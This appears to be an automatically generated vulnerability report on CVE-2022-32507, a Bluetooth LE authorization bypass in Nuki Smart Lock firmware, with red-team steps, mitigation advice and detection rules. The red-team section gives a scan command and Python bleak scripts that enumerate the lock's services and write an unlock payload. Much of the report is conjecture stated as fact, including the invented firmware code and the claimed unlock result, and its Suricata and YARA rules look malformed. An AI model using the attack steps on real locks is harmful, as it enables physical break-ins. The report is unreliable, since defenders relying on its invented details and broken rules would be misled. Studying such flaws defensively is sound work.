CVE-2022-32507

Executive Summary

CVE-2022-32507 exposes a critical authorization bypass vulnerability in Nuki Smart Lock devices (versions 3.0 before 3.3.5 and 2.0 before 2.12.4). The flaw lies in the Bluetooth Low Energy (BLE) command implementation, where certain privileged commands—intended only for authorized accounts—are accessible to unprivileged users. This means any attacker within BLE range can send commands to lock, unlock, or query the device without proper authentication. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the real-world impact is severe: physical access control compromise. No public exploit code or proof-of-concept is available, but the attack surface is clear. The vendor has released firmware updates to address the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in IoT devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; likely unassigned)
• Attack Vector: Adjacent Network (BLE range, typically <10m)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None (but device state exposed)
• Integrity Impact: High (device can be locked/unlocked)
• Availability Impact: None
• Threat Level: High (physical access control bypass)

Deep Dive & Mechanics

The Nuki Smart Lock uses BLE for communication with mobile apps and other authorized devices. The firmware defines a set of BLE commands (e.g., lock, unlock, query status, configure). The vulnerability arises because the firmware does not enforce access control checks on these commands. Specifically, commands that should require authentication (e.g., from a paired smartphone) are also accepted from any BLE device that can connect to the lock. This means an attacker with a simple BLE scanner and a custom script can:

1. Discover the Nuki device via BLE advertising.
2. Connect without authentication (the lock may accept connections from any BLE device).
3. Send privileged commands (e.g., unlock) that the lock executes without verifying the sender's identity.

The root cause is a missing authorization layer in the BLE command handler. The firmware likely checks for a valid session or token for some commands but not for others, or the check is improperly implemented.

Vulnerable vs. Patched Code

Since the firmware is proprietary, we cannot show exact code. However, the conceptual difference is:

Vulnerable (pre-patch):

void handle_ble_command(uint8_t cmd, uint8_t *data) {
    // No authorization check
    switch(cmd) {
        case CMD_UNLOCK:
            unlock_door();
            break;
        case CMD_LOCK:
            lock_door();
            break;
        // ... other commands
    }
}

Patched (post-patch):

void handle_ble_command(uint8_t cmd, uint8_t *data, session_t *session) {
    if (!session || !session->is_authorized) {
        send_error(ERROR_UNAUTHORIZED);
        return;
    }
    switch(cmd) {
        case CMD_UNLOCK:
            if (session->has_unlock_permission) {
                unlock_door();
            } else {
                send_error(ERROR_PERMISSION_DENIED);
            }
            break;
        // ... other commands with permission checks
    }
}

The patch adds a session validation and permission check before executing any privileged command.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A BLE-capable device (e.g., Raspberry Pi with Bluetooth, or a smartphone with BLE app)
• Python with bleak library or similar
• Nuki Smart Lock in range (unpatched firmware)

Steps:

1. Discover the device:

   sudo hcitool lescan
   

   Look for Nuki advertising packets.

2. Connect and enumerate services:

   import asyncio
   from bleak import BleakScanner, BleakClient
   
   async def main():
       devices = await BleakScanner.discover()
       for d in devices:
           if "Nuki" in d.name:
               print(f"Found: {d.name} - {d.address}")
               async with BleakClient(d.address) as client:
                   services = await client.get_services()
                   for service in services:
                       print(f"Service: {service.uuid}")
                       for char in service.characteristics:
                           print(f"  Char: {char.uuid} - properties: {char.properties}")
   asyncio.run(main())
   

3. Send unlock command (example UUIDs, actual may vary):

   UNLOCK_CHAR_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb"  # Replace with actual
   UNLOCK_COMMAND = bytes([0x01, 0x00])  # Example payload
   
   async def unlock():
       async with BleakClient(device_address) as client:
           await client.write_gatt_char(UNLOCK_CHAR_UUID, UNLOCK_COMMAND)
           print("Unlock command sent")
   asyncio.run(unlock())
   

Expected Result: The lock opens without any authentication.

Blue Team (Defense & Detection)

Detection:

• Monitor BLE traffic for unexpected connections to Nuki devices.
• Use BLE sniffers (e.g., Wireshark with BLE dongle) to capture unauthorized command sequences.
• Implement network segmentation: ensure Nuki devices are on a separate VLAN with restricted BLE exposure.

Mitigation:

• Apply firmware updates immediately.
• Disable BLE when not needed (if possible).
• Use physical barriers to limit BLE range (e.g., metal enclosures).

Indicators of Compromise (IOCs)

• BLE MAC Address: Any Nuki Smart Lock MAC (OUI: 00:1A:7D, 00:1E:C0, etc.)
• BLE Service UUID: Nuki-specific service UUIDs (e.g., 0000xxxx-0000-1000-8000-00805f9b34fb)
• Command Patterns: Unlock/lock commands sent without prior authentication handshake
• Firmware Version: < 3.3.5 (Smart Lock 3.0) or < 2.12.4 (Smart Lock 2.0)

Detection Engineering

YARA Rule

rule CVE_2022_32507_Nuki_BLE_AuthBypass {
    meta:
        description = "Detects Nuki Smart Lock firmware with missing BLE authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-32507"
    strings:
        $firmware_2_0 = "Nuki Smart Lock 2.0" nocase
        $firmware_3_0 = "Nuki Smart Lock 3.0" nocase
        $version_2_12_4 = "2.12.4"
        $version_3_3_5 = "3.3.5"
    condition:
        ($firmware_2_0 or $firmware_3_0) and
        not ($version_2_12_4 or $version_3_3_5)
}

Sigma Rule

title: CVE-2022-32507 - Nuki Smart Lock BLE Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized BLE commands sent to Nuki Smart Lock devices
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        EventID: 1001  # BLE connection event
        DeviceName|contains: "Nuki"
        Command|contains: 
            - "unlock"
            - "lock"
            - "open"
    condition: selection
falsepositives:
    - Legitimate app connections
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2022-32507 - Nuki Smart Lock BLE Unauthorized Command"; bluetooth.service_uuid:0x1800; content:"|01 00|"; distance:0; within:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update firmware to Nuki Smart Lock 3.0 >= 3.3.5 or Smart Lock 2.0 >= 2.12.4.
2. Compensating Controls:
   • Disable BLE when not in use.
   • Use physical locks or barriers to limit BLE range.
   • Monitor BLE traffic for anomalies.
3. Long-term: Implement proper BLE authentication (e.g., secure pairing, session tokens) in all IoT devices.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.